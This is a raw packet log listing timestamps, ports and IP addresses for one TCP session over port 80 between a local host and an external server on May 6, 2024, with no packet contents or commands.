May 6, 2024 02:52:53.197582960 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197596073 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197659016 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197683096 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197689056 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197704077 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197743893 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197746992 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197762012 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197770119 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197773933 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197788000 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197801113 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197807074 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197828054 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197840929 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197844028 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197854042 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197870016 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197877884 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197892904 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197910070 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197935104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.197949886 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.197976112 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198004007 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198018074 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198045015 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198049068 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198062897 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198071003 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198091984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198107958 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198112011 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198123932 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198137045 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198149920 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198149920 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198174000 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198178053 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198188066 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198199987 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198237896 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198263884 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198276997 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198288918 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198302984 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198304892 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198316097 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198328972 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198339939 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198343039 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198355913 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198369980 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198376894 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198385954 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198400974 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198401928 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198415995 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198425055 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198441029 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198456049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198457956 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198504925 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198533058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198570013 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198574066 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198585987 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198612928 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198615074 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198628902 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198637962 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198643923 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198657990 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198657990 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198681116 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198683977 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198713064 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198745966 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198748112 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198760033 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198782921 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198788881 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198796034 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198808908 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198812008 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198824883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198836088 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198837996 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198852062 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198873043 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198875904 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198890924 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198899984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198904037 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198918104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198920965 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198930979 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198944092 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198957920 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.198959112 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.198997974 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199003935 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199018002 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199035883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199049950 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199058056 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199079990 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199090958 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199105024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199114084 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199116945 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199130058 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199132919 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199142933 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199162960 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199166059 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199178934 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199194908 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199203968 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199218035 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199222088 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199233055 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199244976 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199245930 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199259996 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199274063 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199280977 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199311018 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199323893 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199325085 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199337959 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199351072 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199364901 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199366093 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199377060 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199388981 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199390888 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199403048 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199414968 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199417114 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199428082 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199445009 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199456930 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199465990 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199493885 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199498892 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199506998 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199521065 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199537039 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199544907 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199562073 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199596882 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199606895 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199620962 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199649096 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199670076 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199697018 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199709892 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199723005 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199736118 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199748039 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199752092 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199763060 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199774027 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199788094 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199790001 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199800968 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199815035 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199815035 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199829102 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199841976 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199862003 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199865103 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199878931 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199891090 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.199896097 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199924946 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.199959040 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200041056 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200054884 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200066090 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200078964 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200084925 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200093031 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200105906 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200114012 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200129032 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200141907 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200145960 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200155020 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200167894 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200167894 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200182915 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200192928 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200196028 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200208902 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.200213909 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.200258017 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.206260920 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.206274986 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.206331968 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279179096 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279194117 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279269934 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279289007 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279309034 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279323101 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279334068 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279340982 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279354095 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279366970 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279381990 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279407024 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279423952 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279434919 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279448032 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279448032 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279470921 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279489040 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279498100 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279517889 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279552937 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279591084 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279606104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279618025 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279630899 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279649019 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279652119 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279661894 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279674053 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279686928 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279695034 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279700041 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279711008 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279716969 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279730082 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279742956 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279745102 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279768944 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279791117 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279793024 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279803991 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279817104 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279829979 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279846907 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.279853106 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.279889107 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.280178070 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.280194998 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.280220032 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.280253887 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460288048 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460371971 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460577965 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460589886 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460602045 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460613012 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460629940 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460637093 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460643053 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460655928 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460668087 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460680962 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460692883 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460694075 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460705042 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460716009 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460716963 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460728884 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460741043 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460741997 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460753918 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460766077 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460767984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460783005 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460791111 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460797071 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460808039 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460812092 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460820913 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460833073 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460850000 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460855007 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460861921 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460887909 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460896015 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460908890 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460908890 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460921049 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460933924 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460942984 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460967064 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460971117 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.460979939 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.460995913 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461030960 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461046934 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461092949 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461095095 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461105108 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461116076 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461138010 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461172104 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461185932 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461199045 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461236954 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461250067 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461261988 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461266041 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461273909 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461306095 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461328030 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461338997 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461350918 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461363077 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461375952 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461385965 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461389065 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461424112 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461441994 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461452961 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461464882 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461477041 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461488962 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461500883 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461514950 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461539984 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461545944 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461551905 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461564064 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461576939 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461591005 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461594105 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461604118 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461616039 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461627960 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461630106 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461638927 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461658955 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461671114 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461680889 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461683989 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461704969 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461735010 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461736917 CEST	49714	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:53.461745977 CEST	80	49714	31.41.44.147	192.168.2.6
May 6, 2024 02:52:53.461757898 CEST	80	49714	31.41.44.147	192.168.2.6
